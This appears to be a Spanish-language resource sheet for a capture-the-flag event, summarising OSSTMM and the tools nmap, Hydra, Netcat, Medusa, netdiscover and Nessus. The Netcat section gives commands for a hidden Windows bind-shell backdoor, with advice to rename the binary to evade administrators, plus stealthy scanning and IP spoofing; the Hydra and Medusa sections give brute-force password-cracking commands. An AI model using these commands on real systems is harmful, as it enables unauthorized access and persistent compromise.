RECURSOS HIGHSEC CAPTURE THE FLAG II (CTF)

OSSTMM:

El Manual de la Metodología Abierta de Comprobación de la Seguridad (Open Source Security Testing Methodology Manual) es uno de los estándares profesionales más completos y comúnmente utilizados en Auditorías de Seguridad para revisar la Seguridad de los Sistemas desde Internet. Incluye un marco de trabajo que describe las fases que habría que realizar para la ejecución de la auditoría. Se ha logrado gracias a un consenso entre más de 150 expertos internacionales sobre el tema, que colaboran entre sí mediante Internet. Se encuentra en constante evolución y actualmente se compone de las siguientes fases:

Sección A -Seguridad de la Información
1. Revisión de la Inteligencia Competitiva
2. Revisión de Privacidad
3. Recolección de Documentos

Sección B – Seguridad de los Procesos
1. Testeo de Solicitud
2. Testeo de Sugerencia Dirigida
3. Testeo de las Personas Confiables

Sección C – Seguridad en las tecnologías de Internet
1. Logística y Controles
2. Exploración de Red
3. Identificación de los Servicios del Sistema
4. Búsqueda de Información Competitiva
5. Revisión de Privacidad
6. Obtención de Documentos
7. Búsqueda y Verificación de Vulnerabilidades
8. Testeo de Aplicaciones de Internet
9. Enrutamiento
10. Testeo de Sistemas Confiados
11. Testeo de Control de Acceso
12. Testeo de Sistema de Detección de Intrusos
13. Testeo de Medidas de Contingencia
14. Descifrado de Contraseñas
15. Testeo de Denegación de Servicios
16. Evaluación de Políticas de Seguridad

Sección D – Seguridad en las Comunicaciones
1. Testeo de PBX
2. Testeo del Correo de Voz
3. Revisión del FAX
4. Testeo del Modem

Sección E – Seguridad Inalámbrica

1. Verificación de Radiación Electromagnética (EMR)
2. Verificación de Redes Inalámbricas [802.11]
3. Verificación de Redes Bluetooth
4. Verificación de de Entrada Inalámbricos
5. Verificación de Dispositivos de Mano Inalámbricos

6. Verificación de Comunicaciones sin Cable
7. Verificación de Dispositivos de Vigilancia Inalámbricos
8. Verificación de Dispositivos de Transacción Inalámbricos
9. Verificación de RFID
10. Verificación de Sistemas Infrarrojos
11. Revisión de Privacidad

Sección F – Seguridad Física

1. Revisión de Perímetro
2. Revisión de monitoreo
3. Evaluación de Controles de Acceso
4. Revisión de Respuesta de Alarmas
5. Revisión de Ubicación
6. Revisión de Entorno

Descarga
http://www.isecom.org/mirror/OSSTMM.3.pdf

NMAP:

Name:

nmap — Herramienta de exploración de redes y de sondeo de seguridad / puertos

Synopsis:

nmap [<Tipo de sondeo> ...] [<Opciones>] { <especificación de objetivo> }

Descripción:

Nmap ("mapeador de redes") es una herramienta de código abierto para exploración de red y auditoría de seguridad. Se diseñó para analizar rápidamente grandes redes, aunque funciona muy bien contra equipos individuales. Nmap utiliza paquetes IP "crudos" («raw», N. del T.) en formas originales para determinar qué equipos se encuentran disponibles en una red, qué servicios (nombre y versión de la aplicación) ofrecen, qué sistemas operativos (y sus versiones) ejecutan, qué tipo de filtros de paquetes o cortafuegos se están utilizando así como docenas de otras características. Aunque generalmente se utiliza Nmap en auditorías de seguridad, muchos administradores de redes y sistemas lo encuentran útil para realizar tareas rutinarias, como puede ser el inventariado de la red, la planificación de actualización de servicios y la monitorización del tiempo que los equipos o servicios se mantiene activos.

La salida de Nmap es un listado de objetivos analizados, con información adicional para cada uno dependiente de las opciones utilizadas. La información primordial es la "tabla de puertos interesantes". Dicha tabla lista el número de puerto y protocolo, el nombre más común del servicio, y su estado. El estado puede
ser open (abierto), filtered (filtrado), closed (cerrado), o unfiltered (no filtrado). Abierto significa que la aplicación en la máquina destino se encuentra esperando conexiones o paquetes en ese puerto. Filtrado indica que un cortafuegos, filtro, u otro obstáculo en la red está bloqueando el acceso a ese puerto, por lo que Nmap no puede saber si se encuentra abierto o cerrado. Los puertos cerrados no tienen ninguna aplicación escuchando en los mismos, aunque podrían abrirse en cualquier momento. Los clasificados como no filtrados son aquellos que responden a los sondeos de Nmap, pero para los que que Nmap no puede determinar si se encuentran abiertos o cerrados. Nmap informa de las combinaciones de estado open|filtered y closed|filtered cuando no puede determinar en cuál de los dos estados está un puerto. La tabla de puertos también puede incluir detalles de la versión de la aplicación cuando se ha solicitado detección de versiones. Nmap ofrece información de los protocolos IP soportados, en vez de puertos abiertos, cuando se solicita un análisis de protocolo IP con la opción (-sO).

Además de la tabla de puertos interesantes, Nmap puede dar información adicional sobre los objetivos, incluyendo el nombre de DNS según la resolución inversa de la IP, un listado de sistemas operativos posibles, los tipos de dispositivo, y direcciones MAC. Puede ver un análisis típico con Nmap en Example 1, "Ejemplo típico de análisis con Nmap". Los únicos parámetros de Nmap que se utilizan en este ejemplo son la opción -A, que habilita la detección de sistema operativo y versión, y la opción -T4 que acelerar el proceso, y después el nombre de los dos objetivos.

EJEMPLO 1. Ejemplo típico de análisis con Nmap

nmap -A -T4 scanme.nmap.org saladejuegos

```
Starting nmap ( http://www.insecure.org/nmap/ )
Interesting ports on scanme.nmap.org (205.217.153.62):
(The 1663 ports scanned but not shown below are in state: filtered)
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 3.9p1 (protocol 1.99)
53/tcp  open   domain
70/tcp  closed gopher
80/tcp  open   http    Apache httpd 2.0.52 ((Fedora))
113/tcp closed auth
Device type: general purpose
Running: Linux 2.4.X|2.5.X|2.6.X
OS details: Linux 2.4.7 - 2.6.11, Linux 2.6.0 - 2.6.11
Uptime 33.908 days (since Thu Jul 21 03:38:03 2005)

Interesting ports on saladejuegos.nmap.org (192.168.0.40):
(The 1659 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
389/tcp  open  ldap?
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
1002/tcp open  windows-icfw?
1025/tcp open  msrpc         Microsoft Windows RPC
1720/tcp open  H.323/Q.931   CompTek AquaGateKeeper
5800/tcp open  vnc-http      RealVNC 4.0 (Resolution 400x250; VNC TCP port: 5900)
5900/tcp open  vnc           VNC (protocol 3.8)
MAC Address: 00:A0:CC:63:85:4B (Lite-on Communications)
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Pro RC1+ through final release
Service Info: OSs: Windows, Windows XP

Nmap finished: 2 IP addresses (2 hosts up) scanned in 88.392 seconds
```

Opciones misceláneas

Esta sección describe algunas opciones importantes (y no tan importantes) que no encajan realmente en ningún otro sitio.

-6 (Activa el sondeo IPv6)
Nmap tiene soporte IPv6 para la mayoría de sus funcionalidades más populares desde 2002. En particular, tiene soporte de: sondeo ping (TCP-only), sondeo connect() y detección de versiones. La sintaxis de las órdenes es igual que las habituales salvo que debe especificar la opción -6 Por supuesto, debe utilizarse la sintaxis IPv6 si se indica una dirección en lugar de un nombre de sistema. Una dirección IPv6 sería parecida a 3ffe:7501:4819:2000:210:f3ff:fe03:14d0, por lo que se recomienda utilizar nombres de equipo. La salida es igual que en los otros casos.

Lo único que distingue que esta opción está habilitada es que se muestran las direcciones IPv6 en la línea que indica los “puertos de interés”.

Aunque IPv6 no se está utilizando en todo el mundo, sí que se utiliza mucho en algunos países (generalmente asiáticos) y muchos sistemas operativos modernos lo soportan. Tanto el origen como el objetivo de su sondeo deben estar configurados para utilizar IPv6 si desea utilizar Nmap con IPv6. Si su ISP (como sucede con la mayoría) no le da direcciones IPv6, puede encontrar gestores de túneles gratuitos en muchos sitios y funciona bien con Nmap. Una lista de gestores está en Wikipedia. Los túneles IPv6 a IPv4 («6to4») son también otro método muy popular y gratuito.

-A (Opciones de sondeos agresivos)
Esta opción activa algunas opciones avanzadas y agresivas. Aún no he decidido qué significa exactamente. Actualmente esto activa la detección de sistema operativo (-O) y el análisis de versiones (-sV). Aunque se añadirán más opciones en el futuro. La idea es que esta opción active un conjunto de opciones para evitar que los usuarios de Nmap tengan que recordar un número de opciones muy elevado. Esta opción sólo activa funcionalidades, no afecta a las opciones de temporización (como -T4) o de depuración (-v) que quizás desee activar también.

--datadir <nombre_directorio> (Indica la ubicación de un archivo de datos de Nmap)
Nmap obtiene algunos datos especiales al ejecutarse de los archivos llamados nmap-service-probes, nmap-services, nmap-protocols, nmap-rpc, nmap-mac-prefixes, y nmap-os-fingerprints. Nmap buscará primero estos ficheros en el directorio que se especifique con la opción --datadir (si se indica alguno). Los archivos que no se encuentren allí se buscarán en el directorio especificado por la variable de entorno NMAPDIR. A continuación se buscará en ~/.nmap tanto para el identificador (UID) real como el efectivo (sólo en sistemas POSIX) o la ubicación del ejecutable de Nmap (sólo sistemas Win32), y también en una ubicación compilada en la aplicación como pudiera ser /usr/local/share/nmap o /usr/share/nmap. Nmap, por último, buscará en el directorio actual.

--send-eth (Enviar tramas Ethernet en crudo)
Le indica a Nmap que debe enviar paquetes en la capa Ethernet en crudo (enlace de datos) en lugar de en la capa IP (red). Por omisión, Nmap elegirá cuál utilizar en función de lo que sea mejor para la plataforma donde esté ejecutándose. Los sockets crudos (capa IP) son generalmente más eficientes para sistemas UNIX, mientras que las tramas Ethernet son necesarias en sistemas Windows ya que Microsoft deshabilitó el soporte de sockets crudos. Nmap seguirá utilizando paquetes IP crudos en UNIX, aunque se especifique esta opción, cuando no se pueda hacer de otra forma (como es el caso de conexiones no Ethernet).

--send-ip (Enviar al nivel crudo IP)
Indica a Nmap que debe enviar utilizando sockets IP crudos en lugar de enviar tramas Ethernet de bajo nivel. Esta opción es complementaria a la opción --send-eth descrita previamente.

--privileged (Asumir que el usuario tiene todos los privilegios)
Esta opción le dice a Nmap que simplemente asuma que el usuario con el que se ejecuta tiene suficientes privilegios para trabajar con sockets crudos, capturar paquetes y hacer otras operaciones similares que generalmente sólo puede hacerla en sistemas UNIX el usuario root.

Por omisión, Nmap aborta si se han solicitado esas operaciones pero el resultado de geteuid() no es cero. La opción --privileged es útil con las capacidades del núcleo Linux y sistemas similares que pueden configurarse para permitir realizar sondeos con paquetes crudos a los usuarios no privilegiados. Asegúrese de indicar esta opción antes de cualquier otra opción que pueda requerir de privilegios específicos (sondeo SYN, detección de SO, etc.). Una forma alternativa a --privileged es fijar la variable de entorno NMAP_PRIVILEGED.

--interactive (Comienza en modo interactivo)
Comienza Nmap en modo interactivo. En este modo, Nmap ofrece un indicador interactivo que facilita el lanzamiento de múltiples sondeos (tanto síncronos como en segundo plano). Es útil para aquellas personas que tienen que sondear desde sistemas multi-usuario, ya que generalmente quieren hacer un análisis de seguridad sin que los demás usuarios sepan exactamente qué sistemas se están analizando. Puede utilizar la opción --interactive para activar este modo y después utilizar h para obtener la ayuda. Esta opción se utiliza muy poco porque los intérpretes de línea de órdenes habituales son mucho más cómodos y tienen más funciones. Esta opción incluye un operador de exclamación («!») para ejecutar órdenes de la shell, que es una de las muchas razones por las que Nmap no se debe instalar con el bit «setuid» de root.

-V; --version (Mostrar el número de versión)
Imprime el número de versión de Nmap y aborta.

-h; --help (Mostrar la página resumen de ayuda)
Imprime una pequeña pantalla de ayuda con las opciones de órdenes más habituales. Pasa lo mismo si ejecuta Nmap sin argumentos.

HYDRA:

THC-Hydra es un archi conocido Software que intenta crakear por fuerza bruta la contraseña de una cantidad impresionante de protocolos: TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC,RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable, AFP, LDAP2, Cisco AAA (incorporado en el módulo de Telnet).

Su éxito se debe a un algoritmo que asegura ser el más eficiente (?) y rápido (?) en este tipo de ataques. Hoy en día THC-Hydra cuenta con su versión 5.8 y tiene soporte tanto para Linux (línea de comandos y GUI) y Windows (sólo como comando).

Using Hydra 5.4 to crack FTP passwords

http://www.youtube.com/watch?feature=player_embedded&v=vDi3UPuV3RI

El uso básico de Hydra es:
hydra -l user -P diccionario.txt -vV 192.0.0.1 ftp

Sentencias Elementales:
-l Es el nombre de usuario, si se usa en mayúscula (-L) se puede poner un diccionario (*.txt) con usuarios (muy práctico cuando no se sabe el usuario) [-l admin] [-L admin.txt].
-p Se pone el password, si se usa en mayúscula (-P) se puede poner un diccionario de passwords (es lo más lógico usar esta opción) [-p password] [-P diccionario.txt].
-v Es el verbose mode que imprime en pantalla los intentos de usarios-password, si se usa con mayúscula (-V) Hydra nos dará más detalles del proceso de crackeo [-v] [-vV].
192.0.0.1 Esto se remplaza por el IP de nuestro objetivo [IP/host].
ftp El protocolo al cual se ataca, puede ser todos los mensionados arriba (ftp, telnet, pop3, snmp, etc...) [protocolo].

Luego de eso empezaría el largo proceso de crackear una contraseña por fuerza bruta, y rezar para que el password se encuentre en el diccionario.txt o estamos perdidos.

Otras sentencias muy útiles:

-R esto restaura la sesión anterior que se nos haya caído (muy normal cuando nuestro pc no es muy bueno) o que hayamos abortado [-R].

-S se conecta por SSL [-S].

-s Se especifica un puerto por si no es el por defecto en el protocolo (ejemplo: telnet (23), ftp (21), smtp (25), etc...) [-s 4450].

-C Esta sentencia se usa eliminando -l/-L y -p/-P ya que aquí se especifica un diccionario combo, osea que tenga tanto usuario como contraseña con el formato user:pass [-C diccionario-combo.txt].

-o Esto es muy útil ya que nos ira dejando en un documento que nosotros especifiquemos todas las contraseñas y usuarios que vaya sacando [-o output.txt].

-f Se cierra Hydra después de encontrar el primer password [-f].

-w Con este se puede especificar el tiempo máximo (en segundos) que queramos que este crackeando passwords [-w 9999999].

-t Este es uno de los más útiles si es que cuentas con un computador con buenas características y buena banda ancha, ya que permite cambiar la cantidad de contraseñas/passwords que se crackean en paralelo que son 16 por defecto [-t 32].

Y nunca está de más el mejor de todos, la mejor sentencia de la mayoría de los comandos:

-h nos brindará la ayuda principal del comando [-h] [--help].

NETCAT:

En resumen Netcat realiza y acepta conexiones TCP Y UDP. ¡Eso es todo! Netcat escribe y lee los datos en este tipo de conexiones hasta que se cierren. Proporciona un subsistema de conexión a red básico basado en TCP/UDP que permite a los usuarios interactuar en forma normal o mediante secuencias de comandos con aplicaciones de red y servicios sobre la capa de aplicación. Nos permitirá ver datos TCP y UDP en bruto antes de que sean recubiertos por la siguiente capa superior, tal como FTP, SMTP, o HTTP. Antes de continuar debo decirte que tendrás que tener Netcat en C:\WINDOWS\System32 por cuestiones que no soy primordiales de este manual.

LINEA DE COMANDOS

La línea básica de comandos para Netcat es nc [opciones] host puertos, donde host es la dirección IP que se desea analizar y puertos es o un determinado puerto o un rango de puertos o una serie de puertos separados por espacios. Echemos un vistazo a cada una de las opciones.

-d Permite que nc trabaje en forma silenciosa y se desenganche del indicador de comandos MS-DOS.

-e <comando> Un nc a la escucha podrá ejecutar el <comando> en el instante en que alguien se conecte al puerto en el que está escuchando.

-i <segundos> Intervalo de espera, que es la cantidad de tiempo que nc esperará entre dos envíos de datos sucesivos.

-g <lista-de-ruta> Se pueden especificar hasta 8 opciones –g en la línea de comandos para forzar que su tráfico nc pase por determinadas direcciones IP.

-G <puntero de saltos> Esta opción le permitirá definir qué dirección IP va a ser el siguiente salto dentro de la ruta indicada con la opción –g.

-l Activa el modo escucha de nc.

-L Activa el modo escucha de nc pero con más interés.

-n Indica a nc que no realice ninguna consulta de nombres de hosts.

-o <archivohex> Realiza un volcado hexadecimal de los datos y los almacena en un archivo hexadecimal.

-p <puerto> Le permite especificar el puerto local que va a utilizar nc.

-r Nc elegirá aleatoriamente los puertos locales y remotos.

-s Especifica la dirección IP de origen que deberá utilizar nc cuando efectúe sus conexiones.

-t Es capaz de controlar la negociación de opciones Telnet.

-u Indica a nc que utilice UDP en lugar de TCP.

-v Informa el estado de nc, si pones otra –v podrás obtener más información.

-w <segundos> Controla cuánto tiempo va a esperar nc antes de dar por terminada una conexión.
-z Le dice a nc que envíe la cantidad de datos necesarias para conocer en que puertos se está escuchando algo.

OBTENER ACCESO REMOTO A UNA SHELL

Si se ejecuta el comando nc.exe -l –p4455 –e cmd.exe desde una ventana del símbolo del sistema en una plataforma basada en Windows NT o Windows 2000, cualquiera que realice un Telnet al puerto 4455 de dicha plataforma se encontrará con una shell DOS sin tener que iniciar una sesión en ella.

Bastante elegante, pero también da un poco de miedo. Casi sin esfuerzos acabamos de obtener un indicador de comandos en el sistema atacado. Naturalmente, en los sistemas Windows NT y Windows 2000, tendrá los mismos privilegios y servicios que el usuario que ejecute Netcat. Si creamos de esta manera una puerta trasera en Windows 95 y Windows 98obtendremos un control completo.
Vamos a seguir profundizando en este comando, recuerden que de forma predeterminada Netcat se ejecutará en la ventana DOS que se haya iniciado, este hecho significa que la ventana de control de comandos tendrá que permanecer abierta mientras Netcat se encuentre en ejecución. Emplearemos la opción –d para separarla del indicador de comandos.

C:\>nc.exe –l –p 4455 –d –e cmd.exe

De ésta forma, podremos ocultar una puerta trasera basada en Netcat.

Sin embargo si alguien realiza un Telnet al puerto 4455 y se conecta, tan pronto como se finalice la conexión, Netcat pensará que su trabajo ha terminado y dejará de escuchar. Para evitar esto utilizaremos la opción –L diciéndole a Netcat que escuche con más interés incluso después de haber finalizado la conexión.

C:\>nc.exe –p 4455 –d –L –e cmd.exe

Esto nos permitirá volver al sistema hasta que el administrador de dicho sistema descubra la puerta trasera. Y para evitar que nos descubra podemos cambiar el nombre de nc.exe por cualquier otra cosa. Nota: en este ejemplo yo tengo nc.exe que voy a mover en C: y no en C:\Windows\System32

Cualquiera podrá ignorar algo tan aparentemente inofensivo como update.exe. Otra característica de Netcat es que si lo utilizamos sin ninguna opción en la línea de comandos, nos pedirá que la introduzcamos en la primera línea de la entrada estándar.

EXPLORACION SILENCIOSA DE PUERTOS

Como Netcat puede hablar con un rango de puertos, un uso muy obvio sería utilizarlo como explorador de puertos. La opción –z es la respuesta. Ésta opción le dirá a Netcat que envía una determinada cantidad de datos a algún puerto, pero dicha cantidad solo será suficiente para saber si el puerto está abierto o no. En éste caso utilizaremos la opción –v o –vv ya que sin por lo menos una –v no podremos ver el resultado de la exploración. Aquí estoy haciendo una exploración de puertos a 127.0.0.1 desde el 139 hasta el 145. Obtuve como resultado que solo se encuentran abiertos el 139,141 y 142.

Pero esta forma de hacerlo no es la mas correcta que digamos porque algunas aplicaciones de cortafuegos, bloquearan determinada dirección IP si reciben demasiadas conexiones sobre ella en un periodo muy corto de tiempo. Para que no nos suceda esto Netcat permite hacer exploraciones de una manera más discreta, tan discreta que no parecerá una exploracion de puertos. Se podrá utilizar la opción –i y configurar un intervalo de prueba y la opción –r para lo haga de forma aleatoria. Esto debe quedar de la siguiente forma;

En la instrucción anterior se le dice a Netcat que explore los puertos de la IP 127.0.0.1 desde el 139 hasta el 145 de manera aleatoria, habiendo 10 segundos entre uno y otro. Y Netcat me ha dicho que solo se encuentran abiertos el 139 y el 145.

Puede hacerse este mismo procedimiento para los puertos UDP solo agregándole –u a la línea de comandos.

SUPLANTAR UNA DIRECCION IP

Suplantar una dirección IP resulta sencillo. Los cortafuegos que realizan enmascaramiento o una traducción de las direcciones de red suplantan diariamente direcciones IP. Estos dispositivos toman un paquete desde una dirección IP interna, cambian la dirección IP origen del paquete a su propia dirección IP, lo envían por la red y deshacen las modificaciones cuando vuelven a recibir los datos desde el destino. Por ello, decimos que modificar los contenidos de la dirección IP origen en un paquete IP resulta sencillo. Lo que sí es difícil es ser capaz de recibir datos desde una dirección IP suplantada.

Netcat dispone de la opción –s que nos permitirá especificar la dirección IP que deseemos. Cualquiera podría iniciar una exploración de puertos utilizando la opción –s para hacer pensar que están siendo explorado por Microsoft o el FBI. Sin embargo, el problema nos viene cuando deseamos reenviar las respuestas emitidas por el puerto suplantado a nuestra dirección IP real. Supongamos, por ejemplo, que el host de destino piensa que ha recibido una petición de conexión de Microsoft, intentará enviar un mensaje de reconocimiento a dicha ip de Microsoft. Naturalmente, esta dirección IP no tendrá idea de lo que está hablando el host de destino y enviará un reset. ¿Cómo podemos enviar la información de vuelta a la dirección IP real sin que seamos descubiertos?

En lugar de atacar a la maquina destino, la única otra opción viable es utilizar el encaminamiento dependiente del origen. El encaminamiento dependiente del origen permite a una aplicación de red especificar la ruta que desea seguir para llegar a su destino.

Existen dos tipos de encaminamiento dependiente del origen: estricto y relajado. El encaminamiento dependiente del origen estricto significa que el paquete debe especificar cada salto a realizar en la ruta hasta llegar al host de destino. Algunos routers y otros dispositivos de red siguen permitiendo el encaminamiento dependiente del origen estricto, pero muy pocos permiten el encaminamiento dependiente del origen relajado. El encaminamiento dependiente del origen relajado indica a los routers y a los dispositivos de red que los routers pueden efectuar la mayor parte del encaminamiento hasta llegar al host de destino, este proceso nos permitirá hacer que el paquete pase por nuestra maquina al regresar. Utilizando este método el encaminamiento dependiente del origen puede permitir que suplantemos una dirección IP y que obtengamos las respuestas a su viaje de vuelta. La mayoría de los routers ignoran las opciones del encaminamiento dependiente del origen, pero no todos.

La opción –g de Netcat nos permitirá especificar hasta 8 saltos que deberá dar el paquete antes de llegar a su destino, por ejemplo: nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9 10.10.9.50 23 entrará en contacto con el puerto telnet en 10.10.9.50, pero si las opciones del encaminamiento dependiente del origen se encuentran activadas sobre routers intermedios, tráfico se verá forzado a seguir la ruta a través de estas 4 ubicaciones antes de alcanzar su destino. Si intentamos nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9 –G 12 10.10.9.50 23, en este comando estaremos especificando un puntero de salto utilizando la opción –G. La opción –G configurará el puntero de salto al n-simo byte (en este caso el duodecimo) y como las direcciones IP tienen 4 bytes de longitud, el puntero de salto comenzará en 10.10.7.4. Por lo que en su camino a 10.10.9.50, el tráfico necesitará atravesar únicamente las dos últimas maquinas (porque de acuerdo con el puntero de salto ya hemos estado en las primeras). Sin embargo en el viaje de vuelta el paquete si pasará por las 4 maquinas.

MEDUSA

Medusa es un programa o aplicación que nos permite hacer un ataque por fuerza bruta o por diccionario. En realidad es muy simple utilizarlo, solo hay que saber leer.

Lo instalaremos en Ubuntu

sudo apt-get install medusa

//* no tienes que descargar nada, todo ya viene con Ubuntu y en las últimas versiones de Linux.

Para abrir o ejecutar medusa teclea esto en una terminal.
#medusa

Con medusa puedes crackear por diccionario de una manera muy rápida los siguientes servicios.

AFP
CVS
FTP
HTTP
IMAP
MS-SQL
MySQL
NetWare NCP
NNTP
PcAnywhere
POP3
PostgreSQL
REXEC
RLOGIN
RSH
SMBNT
SMTP-AUTH
SMTP-VRFY
SNMP
SSHv2
Subversion (SVN)
Telnet
VMware autenticación Daemon (vmauthd)
VNC
Genérico Wrapper
Web Form

Características:

1. Velocidad
2. Estabilidad
3. Diversidad de servicios
4. código legible
5.

USO DE MEDUSA

medusa -d

Ver los módulos adecuados a los cuales podemos atacar.

La sintaxis de un ataque normal sería así.

#medusa -h victima -u usuario -P /home/d14m4nt3/crack_passwords.txt -M ssh -f

Donde esta "-h victima" es el host o ip de la víctima: -h 127.0.0.1 ” -u usuario” puede variar porque si tú te sabes el usuario simplemente colocas “-u usuario” ahora si también intentas crackear el nombre de usuario hay tendría que ir la ruta del diccionario, “-u /home/d14m4t3/crack_de_nombres_de_usuario.txt” recuerda, cambia la ruta a la tuya, ahora el siguiente paso, “-P /home/d14m4nt3/crack_passwords.txt” es donde va a ir la ruta del diccionario de password, si tú te supieras la pass simplemente colocarías “-P tupassword” sería raro que intentaras atacar por fuerza bruta y te supieras el pass y no el nombre de usuario, “-M ssh” este es el modulo al cual intentamos atacar, lo puedes reemplazar según tu caso, telnet, ftp, ssh, HTTP, MySQL, MS-SQL.. etc..

Parámetros:

-h -> el host víctima

-v -> modo verbose (mas información level de 0 a 6 siendo el 6 más alto)

-H -> si tenemos un archivo txt con una lista de hosts

-u -> el usuario al cual deseamos hacerle el cracking

-U -> un archivo txt con la lista de posibles usuarios (muy útil si no sabemos qué usuarios existen en el sistema)

-P -> Ubicación del diccionario

-O -> Crea un archivo log

- e ns -> Verifica el password vacio o que ambos datos sean lo mismo

-M -> El modulo que deseamos emplear (sin la extensión .mod)

-n -> por si el servicio está corriendo en otro puerto diferente al “default”

-s -> Habilita ssl

-f -> detiene el ataque en el instante de encontrar un password valido

-b -> suprime los banners

USO GENERICO QUE NECESITAIS EN ESTA CTF

medusa -h victima -u usuario -P /home/d14m4nt3/crack_passwords.txt -M ssh -F

NETDISCOVER:

Haciendo uso del ARP (Address resolution protocol), Netdiscover localizará todos los equipos de la red devolviéndonos una relación entra la ip local y la MAC de cada equipo.

Los que creéis que con broadcast , un ping (ICMP echo request) es suficiente estáis equivocados.

En muchas ocasiones os encontrareis que la función ping esta deshabilitada (por motivos de seguridad).

Una vez instalado es bueno leerse el manual (man netdiscover). A groso modo estas son algunas de las opciones disponibles

Opciones Principales:

-i dispositivo: interfaz de red que quieres usar; eth0, eth1, wlan.

-r rango: rango que de deseas escanear. Ex: 192.168.1.0/24 escaneara todas las ips entre 192.168.1.0 y 192.168.1.255.

-p: modo pasivo. No infectará nada, solo escucha las peticiones ARP que lleguen a nuestro equipo (eficaz pero más lento).

-s time: tiempo en milisegundos entre peticiones ARP. Útil si no quieres saturar la red o no quieres ser detectado por algún IDS.

-f: fast mode.

Ejemplos de Uso:

Búsqueda de direcciones comunes en eth0
netdiscover -i eth0

Búsqueda en modo rápido de direcciones comunes en eth0 (solo la puerta de enlace)
netdiscover -i eth0 -f

Ejemplo de análisis de algunos rangos
netdiscover -i eth0 172.26.0.0/24
netdiscover -i eth0 192.168.0.0/16
netdiscover -i eth0 10.0.0.0/8

Idem que el primer ejemplo pero con un intervalo de 0.5ms (1ms por defecto)
netdiscover -i eth0 -s 0.5

Búsqueda pasiva. Solo analiza el tráfico entrante. No infectará nada a la red.
netdiscover -i eth0 -p

NESSUS:

DESCRIPCIÓN GENERAL DE LA UI DE NESSUS

DESCRIPCIÓN:

La interfaz de usuario (UI) de Nessus es una interfaz web del analizador Nessus que está compuesta por un simple servidor http y cliente web, por lo que no requiere la instalación de ningún software además del servidor Nessus. A partir de Nessus 4 todas las plataformas usan la misma base de código, con lo cual se elimina la mayoría de los errores específicos de las plataformas y se permite una implementación más rápida de las nuevas características. Las características principales son las siguientes:

> Genera archivos .nessus que son usados por los productos de Tenable como estándar para directivas de análisis y datos de vulnerabilidades.

> Una sesión de directivas, una lista de destinos y los resultados de varios análisis pueden almacenarse todos juntos en un único archivo .nessus que se puede exportar fácilmente. Consulte la Guía de formatos de archivos de Nessus para obtener más detalles.

> La interfaz gráfica de usuario (GUI) muestra los resultados de los análisis en tiempo real, por lo que no deberá esperar que finalice el análisis para ver los resultados.

> Brinda una interfaz unificada para el analizador Nessus que es independiente de la plataforma base. Existen las mismas funcionalidades en Mac OS X, Windows y Linux.

> Los análisis seguirán ejecutándose en el servidor, aun si usted se desconecta por cualquier motivo.

> Los informes de los análisis de Nessus pueden cargarse mediante la UI de Nessus y compararse con otros informes.

PLATAFORMAS ADMITIDAS:

Dado que la UI de Nessus es un cliente web, puede ejecutarla en cualquier plataforma mediante un explorador web.

DESCRIPCIÓN GENERAL

Nessus proporciona una interfaz simple pero versátil para administrar las actividades de Análisis de vulnerabilidades.

Conexión con la GUI de Nessus:

Para iniciar la GUI de Nessus, realice lo siguiente:
> Abra el explorador web de su preferencia.
> Introduzca https://[server IP]:8834/flash.html en la barra de navegación.

Os tenéis que asegurar de conectaros con la interfaz de usuario mediante HTTPS, ya que no se admiten las conexiones HTTP sin cifrar.

La primera vez que intente conectarse con la interfaz de usuario de Nessus, la mayoría de los exploradores web mostrará un error que indicará que el sitio no es confiable a raíz del certificado SSL autofirmado

Después de que el explorador haya confirmado la excepción, aparecerá la siguiente pantalla de presentación:

En la pantalla inicial de presentación se indicará si Nessus se encuentra actualmente registrado con HomeFeed o ProfessionalFeed

Realiza una autenticación mediante una cuenta y una contraseña previamente creadas durante el proceso de instalación. Después de que la autenticación se haya realizado correctamente, la UI presentará menús para crear directivas, llevar a cabo análisis y buscar informes:

En todo momento durante el uso de Nessus estarán presentes las opciones de la esquina superior derecha.

La notación “admin” que se observa en la esquina superior derecha de la pantalla anterior representa la cuenta con la que se inició sesión en ese momento.

Si hace clic en esta, podrá cambiar la contraseña actual. “Help” (Ayuda) es un enlace a la documentación de Nessus, donde se brindan instrucciones detalladas sobre cómo usar el software. “About” (Acerca de) muestra información sobre la instalación de Nessus, incluidas la versión, el tipo de fuente, la fecha de vencimiento de la fuente, la compilación del cliente y la versión del servidor web. “Log out” (Cerrar sesión) finalizará la sesión actual.

DESCRIPCIÓN GENERAL DE DIRECTIVAS

Una “directiva” de Nessus está compuesta por opciones de configuración que se relacionan con la realización de un análisis de vulnerabilidades. Entre estas opciones se incluyen, sin limitarse a ellas, las siguientes:

> Parámetros que controlan aspectos técnicos del análisis, tales como tiempos de espera, cantidad de hosts, tipo de analizador de puertos, etc.

> Credenciales para análisis locales (por ejemplo, Windows, SSH), análisis de bases de datos Oracle autenticados, autenticación basada en HTTP, FTP, POP, IMAP o Kerberos.

> Especificaciones de análisis pormenorizadas en función de plugins o familias.

> Comprobaciones de directivas de compatibilidad de bases de datos, nivel de detalle de los informes, configuración de los análisis para la detección de servicios, comprobaciones de compatibilidad de Unix, etc.

Nessus se distribuye con varias directivas predeterminadas proporcionadas por Tenable Network Security, Inc.

Se brindan como plantillas para ayudarle a crear directivas personalizadas para su organización o usarlas en su estado actual para iniciar análisis básicos de sus recursos. Asegúrese de leer y comprender las directivas predeterminadas antes de usarlas en análisis de sus recursos.

Nombre de la directiva y descripción:

“External Network Scan" (Análisis de red externo)

Esta directiva está ajustada para analizar hosts con conexiones externas, que normalmente presentan menor cantidad de servicios para la red. En esta directiva se habilitan los plugins relacionados con vulnerabilidades de aplicaciones web conocidas (familias de plugins CGI Abuses y CGI Abuses: XSS).

Además, se analizan los 65 536 puertos (incluso el puerto 0 por medio de un plugin independiente) para cada destino.

“Internal Network Scan” (Análisis de red interno)

